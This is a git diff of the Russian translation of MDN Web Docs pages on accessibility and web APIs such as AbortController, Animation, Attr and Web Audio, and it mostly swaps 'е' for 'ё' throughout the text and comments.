diff --git a/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html b/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html index 6e67f41591..4c7755c6a1 100644 --- a/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html +++ b/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html @@ -40,12 +40,12 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets Нуль (tabindex="0") Возможен - Происходит поочередно, исходя из позиции элемента внутри документа + Происходит поочерёдно, исходя из позиции элемента внутри документа Более нуля (например tabindex="33") Возможен - Значение атрибута tabindex указывает очередность, в которой элемент получит фокус. Чем меньше значение атрибута, тем раньше элемент получит фокус. В любом случае, фокус придет на такие элементы раньше, чем на элементы с tabindex="0" и элементы, которые способны получить фокус без атрибута tabindex (например, tabindex="7" получит фокус раньше tabindex="11") + Значение атрибута tabindex указывает очерёдность, в которой элемент получит фокус. Чем меньше значение атрибута, тем раньше элемент получит фокус. В любом случае, фокус придёт на такие элементы раньше, чем на элементы с tabindex="0" и элементы, которые способны получить фокус без атрибута tabindex (например, tabindex="7" получит фокус раньше tabindex="11") @@ -54,7 +54,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets

Чтобы сделать простой виджет доступным через клавишу Tab, задайте tabindex="0" на HTML элементах {{HTMLElement("div")}} или {{HTMLElement("span")}}, из которых он состоит. Ниже представлен пример эмулирования чекбоксов. Вместо элементов input в примере используется {{HTMLElement("span")}}.

-

Пример 1: Простой виджет, эмулирующий работу чекбосов путем смены изображений. Виджет использует tabindex, чтобы обеспечить доступ с клавиатуры.

+

Пример 1: Простой виджет, эмулирующий работу чекбосов путём смены изображений. Виджет использует tabindex, чтобы обеспечить доступ с клавиатуры.

<!-- Без атрибута tabindex, элементы <span> не смогут принимать фокус с клавиатуры -->
 <div>
@@ -81,7 +81,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
 
 

Безусловно есть необходимость создания более сложных виджетов. В качестве примеров можно привести меню, панели табов, различные динамические таблицы, представления для информации, имеющей древовидную структуру. Для таких контролов родительский элемент должен иметь атрибут tabindex="0". В таком случае он сможет попасть в фокус с клавиатуры. Все дочерние элементы (пункты меню, отдельные табы, ячейки, строки) должны иметь tabindex="-1", чтобы не попадать в фокус при нажатии tab. Пользователи должны иметь возможность путешествовать по дочерним элементам при помощи стрелочек на клавиатуре.

-

Ниже приведен пример, который демонстрирует использование этой техники для реализации вложенного меню. После того, как в фокус попадает основной элемент меню ({{HTMLElement("ul")}}), разработчик должен программно управлять фокусом, реагируя на нажатия клавиш со стрелочками. Для описания техники управления фокусом внутри виджета смотрите раздел «Управление фокусом внутри виджета» ниже в данной статье.

+

Ниже приведён пример, который демонстрирует использование этой техники для реализации вложенного меню. После того, как в фокус попадает основной элемент меню ({{HTMLElement("ul")}}), разработчик должен программно управлять фокусом, реагируя на нажатия клавиш со стрелочками. Для описания техники управления фокусом внутри виджета смотрите раздел «Управление фокусом внутри виджета» ниже в данной статье.

Пример 2: Меню, использующее атрибут tabindex для осуществления доступа с клавиатуры

@@ -98,7 +98,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets <ul id="styleMenu" title="Стиль" tabindex="-1"> <li id="italic" tabindex="-1">Наклонный</li> <li id="bold" tabindex="-1">Жирный</li> - <li id="underline" tabindex="-1">Подчеркнутый</li> + <li id="underline" tabindex="-1">Подчёркнутый</li> </ul> </li> <li id="mb1_menu3" tabindex="-1"> Выравнивание @@ -117,7 +117,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets

Управление фокусом внутри виджета

-

Когда пользователь уходит с виджета, а потом возвращается обратно, фокус должен вернутся на определенный элемент, у которого был фокус раньше. Например, на конкретный элемент дерева или ячейку. Есть два варианта, которыми этого можно добиться:

+

Когда пользователь уходит с виджета, а потом возвращается обратно, фокус должен вернутся на определённый элемент, у которого был фокус раньше. Например, на конкретный элемент дерева или ячейку. Есть два варианта, которыми этого можно добиться:

  1. Переходящий tabindex: программное перемещение фокуса
  2. @@ -126,7 +126,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets

    Техника первая: Переходящий tabindex

    -

    Идея данной техники заключается в выставлении атрибута tabindex в нулевое значение для элемента, который последним находился в фокусе. При этом если пользователь уйдет табом с виджета, а потом вернется обратно, элемент восстановит фокус правильно. Заметьте, что выставляя tabindex в "0", необходимо выставлять tabindex="-1" для предыдущего выделенного элемента. Эта техника требует выставлять фокус элементам программно, реагируя на нажатие клавиш.

    +

    Идея данной техники заключается в выставлении атрибута tabindex в нулевое значение для элемента, который последним находился в фокусе. При этом если пользователь уйдёт табом с виджета, а потом вернётся обратно, элемент восстановит фокус правильно. Заметьте, что выставляя tabindex в "0", необходимо выставлять tabindex="-1" для предыдущего выделенного элемента. Эта техника требует выставлять фокус элементам программно, реагируя на нажатие клавиш.

    Для этого необходимо обрабатывать событие keydown для каждого дочернего элемента виджета. Когда пользователь нажимает на стрелочки на клавиатуре, чтобы переместиться на другой элемент следует:

    @@ -142,7 +142,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
    Используйте element.focus() чтобы задать фокус элементу
    -

    Не используйте createEvent(), initEvent() and dispatchEvent() чтобы задать фокус. Событие DOM focus должно использовать только для получения информации о том, что произошел фокус на элемент, оно генерируется системой, когда какой-либо элемент попал в фокус. Оно не должно использовать для того, чтобы задать фокус. Вместо этого используйте element.focus().

    +

    Не используйте createEvent(), initEvent() and dispatchEvent() чтобы задать фокус. Событие DOM focus должно использовать только для получения информации о том, что произошёл фокус на элемент, оно генерируется системой, когда какой-либо элемент попал в фокус. Оно не должно использовать для того, чтобы задать фокус. Вместо этого используйте element.focus().

    Используйте событие onfocus чтобы отслеживать фокус
    diff --git a/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html b/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html index e63497f6ee..733a758e3a 100644 --- a/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html +++ b/files/ru/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html @@ -9,13 +9,13 @@ translation_of: Web/Accessibility/Understanding_WCAG/Perceivable/Color_contrast ---

    Описание проблемы

    -

    Цветовой контраст между фоном и содержимым переднего плана (обычно текстом) должен быть минимальным, чтобы обеспечить удобство чтения. Хорошо иметь крутой дизайн на своем сайте, но он бесполезен, если ваши пользователи не могут прочитать контент.

    +

    Цветовой контраст между фоном и содержимым переднего плана (обычно текстом) должен быть минимальным, чтобы обеспечить удобство чтения. Хорошо иметь крутой дизайн на своём сайте, но он бесполезен, если ваши пользователи не могут прочитать контент.

    Пример хорошего контраста:An example of good color contrast consisting of the words good contrast with a light purple background.

    Пример плохого контраста:An example of bad color contrast consisting of the words bad contrast with a dark purple background.

    -

    Наличие хорошего цветового контраста на вашем сайте принесёт пользу всем вашим пользователям, но в особенности будет полезно пользователям с определенными типами дальтонизма и другими подобными условиями, которые испытывают затруднения при распознавании похожих цветов.

    +

    Наличие хорошего цветового контраста на вашем сайте принесёт пользу всем вашим пользователям, но в особенности будет полезно пользователям с определёнными типами дальтонизма и другими подобными условиями, которые испытывают затруднения при распознавании похожих цветов.

    Связанные с WCAG критерии успеха

    diff --git a/files/ru/web/api/abortcontroller/index.html b/files/ru/web/api/abortcontroller/index.html index 4914b8ca76..07671c5722 100644 --- a/files/ru/web/api/abortcontroller/index.html +++ b/files/ru/web/api/abortcontroller/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/AbortController
    {{domxref("AbortController.AbortController()")}}
    -
    Создает новый экземпляр AbortController.
    +
    Создаёт новый экземпляр AbortController.

    Свойства

    @@ -27,16 +27,16 @@ translation_of: Web/API/AbortController
    {{domxref("AbortController.abort()")}}
    -
    Прерывает DOM запрос до момента его завершения. Это дает возможность обрывать fetch запросы, потребителей любых ответов с {{domxref("Body")}} и потоки.
    +
    Прерывает DOM запрос до момента его завершения. Это даёт возможность обрывать fetch запросы, потребителей любых ответов с {{domxref("Body")}} и потоки.

    Примеры

    В текущем фрагменте мы пытаемся скачать видео используя Fetch API.

    -

    Для начала мы создадим контроллер используя конструктор {{domxref("AbortController.AbortController","AbortController()")}}, затем возьмем ссылку на ассоциированный с ним объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.

    +

    Для начала мы создадим контроллер используя конструктор {{domxref("AbortController.AbortController","AbortController()")}}, затем возьмём ссылку на ассоциированный с ним объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.

    -

    При инициализации fetch запроса, мы передаем AbortSignal в качестве параметра (смотрите ниже {signal}). Это ассоциирует сигнал и контроллер с fetch запросом и дает нам возможность остановить запрос вызовом метода {{domxref("AbortController.abort()")}}, что можно увидеть во втором addEventListener.

    +

    При инициализации fetch запроса, мы передаём AbortSignal в качестве параметра (смотрите ниже {signal}). Это ассоциирует сигнал и контроллер с fetch запросом и даёт нам возможность остановить запрос вызовом метода {{domxref("AbortController.abort()")}}, что можно увидеть во втором addEventListener.

    var controller = new AbortController();
     var signal = controller.signal;
    @@ -61,7 +61,7 @@ function fetchVideo() {
     }
    -

    Заметка: При вызове abort(), промис fetch() будет отклонен с AbortError.

    +

    Заметка: При вызове abort(), промис fetch() будет отклонён с AbortError.

    Вы можете найти полный рабочий пример на GitHub — смотрите abort-api (и живой пример).

    diff --git a/files/ru/web/api/abortsignal/index.html b/files/ru/web/api/abortsignal/index.html index 1830282648..ea8d029224 100644 --- a/files/ru/web/api/abortsignal/index.html +++ b/files/ru/web/api/abortsignal/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/AbortSignal
    {{domxref("AbortSignal.aborted")}} {{readonlyInline}}
    -
    Это {{domxref("Boolean")}}, который указывает, отменен ли запрос(ы), с которым связывался сигнал, отменён (true) или нет (false).
    +
    Это {{domxref("Boolean")}}, который указывает, отменён ли запрос(ы), с которым связывался сигнал, отменён (true) или нет (false).

    Обработчики событий

    diff --git a/files/ru/web/api/abstractworker/index.html b/files/ru/web/api/abstractworker/index.html index f7aa28428b..fc666b57c7 100644 --- a/files/ru/web/api/abstractworker/index.html +++ b/files/ru/web/api/abstractworker/index.html @@ -45,7 +45,7 @@ first.onchange = function() { console.log('Message posted to worker'); }
-

Код воркера загружается из файла "worker.js". В данном коде предполагается, что есть элемент {{HTMLElement("input")}}, его определяет переменная first. Для события {{domxref("change")}} элемента создается обработчик, поэтому когда пользователь изменяет значение для first, отправляется сообщение в воркер для уведомления его об данных изменениях.

+

Код воркера загружается из файла "worker.js". В данном коде предполагается, что есть элемент {{HTMLElement("input")}}, его определяет переменная first. Для события {{domxref("change")}} элемента создаётся обработчик, поэтому когда пользователь изменяет значение для first, отправляется сообщение в воркер для уведомления его об данных изменениях.

Вы можете найти больше примеров в репозитории MDN Web Docs на GitHub:

diff --git a/files/ru/web/api/ambient_light_events/index.html b/files/ru/web/api/ambient_light_events/index.html index 61b79484e6..c992706006 100644 --- a/files/ru/web/api/ambient_light_events/index.html +++ b/files/ru/web/api/ambient_light_events/index.html @@ -2,20 +2,20 @@ title: Ambient Light Events slug: Web/API/Ambient_Light_Events tags: - - Освещенность + - Освещённость translation_of: Web/API/Ambient_Light_Events ---
{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}
-

События "окружающего света" -  удобный способ уведомить веб-страницу или приложение о каком-либо изменении интенсивности света. Это позволяет им реагировать на такое изменение, например, путем изменения цветового контраста пользовательского интерфейса (UI) или путем изменения экспозиции, необходимой для фотографирования.

+

События "окружающего света" -  удобный способ уведомить веб-страницу или приложение о каком-либо изменении интенсивности света. Это позволяет им реагировать на такое изменение, например, путём изменения цветового контраста пользовательского интерфейса (UI) или путём изменения экспозиции, необходимой для фотографирования.

Световые события

-

Когда датчик света устройства обнаруживает изменение уровня освещенности, он уведомляет браузер об этом изменении. Когда браузер получает такое уведомление, он вызывает {{domxref("DeviceLightEvent")}} событие, которое предоставляет информацию о точной интенсивности света.

+

Когда датчик света устройства обнаруживает изменение уровня освещённости, он уведомляет браузер об этом изменении. Когда браузер получает такое уведомление, он вызывает {{domxref("DeviceLightEvent")}} событие, которое предоставляет информацию о точной интенсивности света.

-

Это событие может быть захвачено на уровне объектом окна, используя метод {{domxref("EventTarget.addEventListener","addEventListener")}}  (используя имя события {{event("devicelight")}} ) или путем присоединения обработчика событий к свойству {{domxref("window.ondevicelight")}}.

+

Это событие может быть захвачено на уровне объектом окна, используя метод {{domxref("EventTarget.addEventListener","addEventListener")}}  (используя имя события {{event("devicelight")}} ) или путём присоединения обработчика событий к свойству {{domxref("window.ondevicelight")}}.

-

После того, как захвачен объект события дает доступ к интенсивности света, выраженного в lux через свойство {{domxref("DeviceLightEvent.value")}}.

+

После того, как захвачен объект события даёт доступ к интенсивности света, выраженного в lux через свойство {{domxref("DeviceLightEvent.value")}}.

Пример

diff --git a/files/ru/web/api/analysernode/getbytefrequencydata/index.html b/files/ru/web/api/analysernode/getbytefrequencydata/index.html index c042694040..94309ba833 100644 --- a/files/ru/web/api/analysernode/getbytefrequencydata/index.html +++ b/files/ru/web/api/analysernode/getbytefrequencydata/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/AnalyserNode/getByteFrequencyData

Данные частоты состоят из целых чисел по шкале от 0 до 255.

-

Каждый элемент в массиве представляет собой значение в децибелах для определенной частоты. Частоты распределены линейно от 0 до 1/2 частоты дискретизации. Например, для частоты дискретизации 48000 последний элемент массива будет представлять значение в децибелах для 24000 Гц.

+

Каждый элемент в массиве представляет собой значение в децибелах для определённой частоты. Частоты распределены линейно от 0 до 1/2 частоты дискретизации. Например, для частоты дискретизации 48000 последний элемент массива будет представлять значение в децибелах для 24000 Гц.

Если в массиве меньше элементов, чем в {{domxref("AnalyserNode.frequencyBinCount")}}, лишние элементы удаляются. Если в нем больше элементов, чем необходимо, лишние элементы игнорируются.

diff --git a/files/ru/web/api/angle_instanced_arrays/index.html b/files/ru/web/api/angle_instanced_arrays/index.html index 558e053527..3f769d4c64 100644 --- a/files/ru/web/api/angle_instanced_arrays/index.html +++ b/files/ru/web/api/angle_instanced_arrays/index.html @@ -34,7 +34,7 @@ translation_of: Web/API/ANGLE_instanced_arrays

Behaves identically to {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} except that multiple instances of the range of elements are executed, and the instance advances for each iteration.

{{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}
-
Ведет себя идентично {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} за исключением того, что выполняется несколько экземпляров набора элементов и экземпляр перемещается между каждым набором
+
Ведёт себя идентично {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} за исключением того, что выполняется несколько экземпляров набора элементов и экземпляр перемещается между каждым набором
{{domxref("ANGLE_instanced_arrays.vertexAttribDivisorANGLE()", "ext.vertexAttribDivisorANGLE()")}}

Изменяет скорость продвижения общих атрибутов вершин при визуализации нескольких экземпляров примитивов с помощью {{domxref("ANGLE_instanced_arrays.drawArraysInstancedANGLE()", "ext.drawArraysInstancedANGLE()")}} и {{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}.

@@ -67,7 +67,7 @@ translation_of: Web/API/ANGLE_instanced_arrays

Совместимость браузеров

- +

{{Compat("api.ANGLE_instanced_arrays")}}

diff --git a/files/ru/web/api/animation/index.html b/files/ru/web/api/animation/index.html index d1deb15f99..fbe650d434 100644 --- a/files/ru/web/api/animation/index.html +++ b/files/ru/web/api/animation/index.html @@ -11,33 +11,33 @@ translation_of: Web/API/Animation
{{domxref("Animation.Animation()", "Animation()")}}
-
Создает новый экземпляр объекта Animation.
+
Создаёт новый экземпляр объекта Animation.

Свойства

{{domxref("Animation.currentTime")}}
-
Текущее значение времени анимации в миллисекундах, независимо от того работает анимация или приостановлена. Если анимация не имеет {{domxref("AnimationTimeline", "timeline")}}, неактивна или еще не воспроизведена, то это значение равно нулю.
+
Текущее значение времени анимации в миллисекундах, независимо от того работает анимация или приостановлена. Если анимация не имеет {{domxref("AnimationTimeline", "timeline")}}, неактивна или ещё не воспроизведена, то это значение равно нулю.
{{domxref("Animation.effect")}}
-
Возвращает и задает {{domxref ("AnimationEffectReadOnly")}} связанный с этой анимацией. Обычно это объект {{domxref ("KeyframeEffect")}}.
+
Возвращает и задаёт {{domxref ("AnimationEffectReadOnly")}} связанный с этой анимацией. Обычно это объект {{domxref ("KeyframeEffect")}}.
{{domxref("Animation.finished")}} {{readOnlyInline}}
-
Возвращает текущее завершенное Promise(обещание) для этой анимации.
+
Возвращает текущее завершённое Promise(обещание) для этой анимации.
{{domxref("Animation.id")}}
-
Возвращает и задает String(строку), используемую для идентификации анимации.
+
Возвращает и задаёт String(строку), используемую для идентификации анимации.
{{domxref("Animation.playState")}} {{readOnlyInline}}
Возвращает перечисляемое значение, описывающее состояние воспроизведения анимации.
{{domxref("Animation.playbackRate")}}
-
Возвращает или задает скорость воспроизведения анимации.
+
Возвращает или задаёт скорость воспроизведения анимации.
@@ -47,21 +47,21 @@ translation_of: Web/API/Animation
{{domxref("Animation.startTime")}}
-
Возвращает или задает начало выполнения анимации.
+
Возвращает или задаёт начало выполнения анимации.
{{domxref("Animation.timeline")}}
-
Возвращает или задает {{domxref("AnimationTimeline", "timeline")}}, связанную с этой анимации.
+
Возвращает или задаёт {{domxref("AnimationTimeline", "timeline")}}, связанную с этой анимации.

Обработчики событий

{{domxref("Animation.oncancel")}}
-
Возвращает и задает обработчик событий для отмены события.
+
Возвращает и задаёт обработчик событий для отмены события.
{{domxref("Animation.onfinish")}}
-
Возвращает и задает обработчик событий для завершения события.
+
Возвращает и задаёт обработчик событий для завершения события.

Методы

@@ -70,7 +70,7 @@ translation_of: Web/API/Animation
{{domxref("Animation.cancel()")}}
Очищает все {{domxref("KeyframeEffect", "keyframeEffects")}} вызванные этой анимацией и прекращает его выполнение.
{{domxref("animation.commitStyles()")}}
-
Фиксирует конечное состояние стиля анимации к анимируемому элементу, даже после того, как эта анимация была удалена. Это приведет к тому, что конечное состояние стиля будет записано в анимируемый элемент в виде свойств внутри атрибута стиля.
+
Фиксирует конечное состояние стиля анимации к анимируемому элементу, даже после того, как эта анимация была удалена. Это приведёт к тому, что конечное состояние стиля будет записано в анимируемый элемент в виде свойств внутри атрибута стиля.
@@ -94,7 +94,7 @@ translation_of: Web/API/Animation
{{domxref("Animation.reverse()")}}
Меняет направление воспроизведения, останавливаясь в начале анимации. Если анимация закончена или не запущена, то будет проигрываться с конца к началу.
{{domxref("Animation.updatePlaybackRate()")}}
-
Задает скорость анимации после синхронизации ее положения воспроизведения.
+
Задаёт скорость анимации после синхронизации её положения воспроизведения.

Спецификации

diff --git a/files/ru/web/api/attr/index.html b/files/ru/web/api/attr/index.html index 303090a17a..c8e1ce971a 100644 --- a/files/ru/web/api/attr/index.html +++ b/files/ru/web/api/attr/index.html @@ -17,23 +17,23 @@ translation_of: Web/API/Attr
{{domxref("Attr.name", "name")}} {{readOnlyInline}}
Имя атрибута.
{{domxref("Attr.namespaceURI", "namespaceURI")}} {{readOnlyInline}}
-
{{domxref("DOMString")}} представление URI пространства имен атрибута, или NULL если нет никакого пространства имен.
+
{{domxref("DOMString")}} представление URI пространства имён атрибута, или NULL если нет никакого пространства имен.
{{domxref("Attr.localName", "localName")}} {{readOnlyInline}}
{{domxref("DOMString")}}  представление локальной части полного имени атрибута.
{{domxref("Attr.prefix", "prefix")}} {{readOnlyInline}}
-
{{domxref("DOMString")}}  представление префикс пространства имен атрибута, или NULL, если префикс не указан.
+
{{domxref("DOMString")}}  представление префикс пространства имён атрибута, или NULL, если префикс не указан.
{{domxref("Attr.ownerElement", "ownerElement")}} {{readOnlyInline}}

Элемент, содержащий атрибут.

-

Примечание: DOM уровень 4 удалил это свойство.Предполагалось, что, поскольку Вы получаете объект Attr от {{domxref("Element")}}, вы заранее должны знать связанный элемент.  Поскольку это не верно в случаях, подобных объектам Attr, возвращаемым  {{domxref("Document.evaluate")}}, DOM уровень жизни вновь ввел это свойство. 

+

Примечание: DOM уровень 4 удалил это свойство.Предполагалось, что, поскольку Вы получаете объект Attr от {{domxref("Element")}}, вы заранее должны знать связанный элемент.  Поскольку это не верно в случаях, подобных объектам Attr, возвращаемым  {{domxref("Document.evaluate")}}, DOM уровень жизни вновь ввёл это свойство. 

Gecko выводит предупреждение об использовании, начиная с Gecko 7.0 {{geckoRelease("7.0")}}. Это предупреждение было удалено в Gecko 49.0 (Firefox 49.0 / Thunderbird 49.0 / SeaMonkey 2.46).

{{domxref("Attr.specified", "specified")}} {{readOnlyInline}}
-
Это свойство всегда возвращает true. Первоначально, оно возвращало true, если атрибут был явно определен в исходном коде или сценарием и false, если ее значение прибыло из значения по умолчанию  определенном в DTD документе.
+
Это свойство всегда возвращает true. Первоначально, оно возвращало true, если атрибут был явно определён в исходном коде или сценарием и false, если её значение прибыло из значения по умолчанию  определённом в DTD документе.
{{domxref("Attr.value", "value")}}
Значение атрибута
@@ -74,7 +74,7 @@ translation_of: Web/API/Attr
previousSibling
Это свойство всегда возвращает значение  NULL.
schemaTypeInfo {{obsolete_inline}} {{readOnlyInline}}
-
Сведения о типе, связанные с этим атрибутом. В то время как информация о типе, содержащаяся в этом атрибуте, гарантированно будет правильной после загрузки документа или вызова  {{domxref("Document.normalizeDocument")}}, это свойство может быть ненадежным, если узел был перемещен.
+
Сведения о типе, связанные с этим атрибутом. В то время как информация о типе, содержащаяся в этом атрибуте, гарантированно будет правильной после загрузки документа или вызова  {{domxref("Document.normalizeDocument")}}, это свойство может быть ненадёжным, если узел был перемещен.
 
specified
Это свойство всегда возвращает значение  true.
diff --git a/files/ru/web/api/audiobuffer/index.html b/files/ru/web/api/audiobuffer/index.html index b2972a1f78..f2d6e5e0e4 100644 --- a/files/ru/web/api/audiobuffer/index.html +++ b/files/ru/web/api/audiobuffer/index.html @@ -8,7 +8,7 @@ translation_of: Web/API/AudioBuffer

Сводка

-

AudioBuffer - это интерфейс короткого звукового ресурса (audio asset), находящегося в памяти и созданного из аудиофайла методом {{ domxref("AudioContext.decodeAudioData()") }}, или из исходных данных с помощью метода {{ domxref("AudioContext.createBuffer()") }}. Помещенные в AudioBuffer звуковые данные могут быть воспроизведены в  {{ domxref("AudioBufferSourceNode") }}.

+

AudioBuffer - это интерфейс короткого звукового ресурса (audio asset), находящегося в памяти и созданного из аудиофайла методом {{ domxref("AudioContext.decodeAudioData()") }}, или из исходных данных с помощью метода {{ domxref("AudioContext.createBuffer()") }}. Помещённые в AudioBuffer звуковые данные могут быть воспроизведены в  {{ domxref("AudioBufferSourceNode") }}.

Объекты этого типа предназначены для хранения небольших звуковых фрагментов, обычно менее 45 секунд. Для более длинных звуков, объекты реализующие {{domxref("MediaElementAudioSourceNode")}} являются более подходящими. Этот буфер содержит данные в формате неперемещаемого IEE754 32-битного линейного ИКМ с номинальным диапазоном от -1 до +1, то есть 32-битный буфер с плавающей точкой каждого звукового фрагмента (samples) от -1.0 до 1.0. Если {{domxref("AudioBuffer")}} имеет несколько каналов, то они хранятся в отдельном буфере.

@@ -17,7 +17,7 @@ translation_of: Web/API/AudioBuffer
{{domxref("AudioBuffer.AudioBuffer", "AudioBuffer()")}}
-
Создает и возвращает новый объект AudioBuffer.
+
Создаёт и возвращает новый объект AudioBuffer.

Свойства

@@ -49,7 +49,7 @@ translation_of: Web/API/AudioBuffer
// Стерео
 var channels = 2;
 
-// Создает пустой двухсекундный стерео-буфер
+// Создаёт пустой двухсекундный стерео-буфер
 // с частотой звука AudioContext (sample rate)
 var frameCount = audioCtx.sampleRate * 2.0;
 var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
diff --git a/files/ru/web/api/audiocontext/createmediaelementsource/index.html b/files/ru/web/api/audiocontext/createmediaelementsource/index.html
index 87e504f6c6..6693ef14dc 100644
--- a/files/ru/web/api/audiocontext/createmediaelementsource/index.html
+++ b/files/ru/web/api/audiocontext/createmediaelementsource/index.html
@@ -42,11 +42,11 @@ var myScript = document.querySelector('script');
 
 pre.innerHTML = myScript.innerHTML;
 
-// Создаем MediaElementAudioSourceNode
+// Создаём MediaElementAudioSourceNode
 // На основе HTMLMediaElement
 var source = audioCtx.createMediaElementSource(myAudio);
 
-// Создаем узел контроля громкости (усиления)
+// Создаём узел контроля громкости (усиления)
 var gainNode = audioCtx.createGain();
 
 // Переменные, содержащие Y координату курсора мыши
diff --git a/files/ru/web/api/audiocontext/index.html b/files/ru/web/api/audiocontext/index.html
index 17b32839d0..ad057ccfe6 100644
--- a/files/ru/web/api/audiocontext/index.html
+++ b/files/ru/web/api/audiocontext/index.html
@@ -66,7 +66,7 @@ translation_of: Web/API/AudioContext
  
{{domxref("AudioContext.createOscillator()")}}
Создаёт объект {{domxref("OscillatorNode")}}, источник, представляющий собой периодическую волну звукового сигнала.
{{domxref("AudioContext.createPanner()")}}
-
Создаёт объект {{domxref("PannerNode")}}, который используется для пространственного определения аудио-потока в трехмерном пространстве.
+
Создаёт объект {{domxref("PannerNode")}}, который используется для пространственного определения аудио-потока в трёхмерном пространстве.
{{domxref("AudioContext.createPeriodicWave()")}}
Создаёт объект {{domxref("PeriodicWave")}}, используемый для определения периодической волны звукового сигнала, которая, в свою очередь, используется для определения вывода в {{ domxref("OscillatorNode") }}.
{{domxref("AudioContext.createWaveShaper()")}}
diff --git a/files/ru/web/api/audionode/index.html b/files/ru/web/api/audionode/index.html index f4b7693230..57b2f450a2 100644 --- a/files/ru/web/api/audionode/index.html +++ b/files/ru/web/api/audionode/index.html @@ -4,7 +4,7 @@ slug: Web/API/AudioNode translation_of: Web/API/AudioNode ---

{{ APIRef("Web Audio API") }}
- AudioNode это общий интерфейс для описания модулей обработки аудио таких как источники звука (например HTML элементы {{HTMLElement("audio")}} или {{HTMLElement("video")}}), генераторы звука (например {{domxref("OscillatorNode")}} и т.п.), приемники звука для модулей производящих обработку звука (например {{domxref("BiquadFilterNode")}} или {{domxref("ConvolverNode")}}), или регуляторы громкости (например {{domxref("GainNode")}}). 

+ AudioNode это общий интерфейс для описания модулей обработки аудио таких как источники звука (например HTML элементы {{HTMLElement("audio")}} или {{HTMLElement("video")}}), генераторы звука (например {{domxref("OscillatorNode")}} и т.п.), приёмники звука для модулей производящих обработку звука (например {{domxref("BiquadFilterNode")}} или {{domxref("ConvolverNode")}}), или регуляторы громкости (например {{domxref("GainNode")}}). 

AudioNodes participating in an AudioContext create a audio routing graph.

@@ -25,7 +25,7 @@ translation_of: Web/API/AudioNode
{{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}
-
Возвращает количество входов узла. Узлы определенные как источники имеют numberOfInputs равное 0.
+
Возвращает количество входов узла. Узлы определённые как источники имеют numberOfInputs равное 0.
@@ -56,7 +56,7 @@ translation_of: Web/API/AudioNode
{{domxref("AudioNode.connect(AudioParam)")}}
Позволяет нам подключить один выход данного узла на параметрический вход другого.
{{domxref("AudioNode.disconnect()")}}
-
Позволяет нам отключить текущий узел от другого, уже подключенного узла.
+
Позволяет нам отключить текущий узел от другого, уже подключённого узла.

Примеры

diff --git a/files/ru/web/api/audioparam/setvalueattime/index.html b/files/ru/web/api/audioparam/setvalueattime/index.html index f60d3e7d99..202e13d971 100644 --- a/files/ru/web/api/audioparam/setvalueattime/index.html +++ b/files/ru/web/api/audioparam/setvalueattime/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/AudioParam/setValueAtTime ---

{{ APIRef("Web Audio API") }}

-

setValueAtTime() метод интерфейса {{domxref("AudioParam")}} позволяющий мгновенно точно по времени изменять значение AudioParam , сравнивая с {{domxref("AudioContext.currentTime")}}. Новое значение дается в значении параметра.

+

setValueAtTime() метод интерфейса {{domxref("AudioParam")}} позволяющий мгновенно точно по времени изменять значение AudioParam , сравнивая с {{domxref("AudioContext.currentTime")}}. Новое значение даётся в значении параметра.

Синтаксис

diff --git a/files/ru/web/api/baseaudiocontext/createpanner/index.html b/files/ru/web/api/baseaudiocontext/createpanner/index.html index 83a8089d44..9d4161e184 100644 --- a/files/ru/web/api/baseaudiocontext/createpanner/index.html +++ b/files/ru/web/api/baseaudiocontext/createpanner/index.html @@ -24,13 +24,13 @@ var panner = audioCtx.createPanner();

Пример

-
Ниже можно увидеть пример использования {{domxref("AudioListener")}}, {{domxref("PannerNode")}} и метода createPanner() для управления пространством объемного звука. Обычно определяется положение в трехмерном пространстве, изначально занимаемое обработчиком (listener) и источником звука (panner), а затем, при использовании приложения, обновляется позиция одного из них или обоих. Например, вы можете перемещать персонажа внутри игрового мира, и желательно чтобы передача звука изменялась реалистично, по мере приближения или отдаления персонажа относительно источника звука, вроде стереопроигрывателя. В этом примере можно видеть, что все это управляется функциями moveRight(), moveLeft(), и т.п., которые устанавливают новые значения для положения паннера через функцию PositionPanner().
+
Ниже можно увидеть пример использования {{domxref("AudioListener")}}, {{domxref("PannerNode")}} и метода createPanner() для управления пространством объёмного звука. Обычно определяется положение в трёхмерном пространстве, изначально занимаемое обработчиком (listener) и источником звука (panner), а затем, при использовании приложения, обновляется позиция одного из них или обоих. Например, вы можете перемещать персонажа внутри игрового мира, и желательно чтобы передача звука изменялась реалистично, по мере приближения или отдаления персонажа относительно источника звука, вроде стереопроигрывателя. В этом примере можно видеть, что все это управляется функциями moveRight(), moveLeft(), и т.п., которые устанавливают новые значения для положения паннера через функцию PositionPanner().
 
-
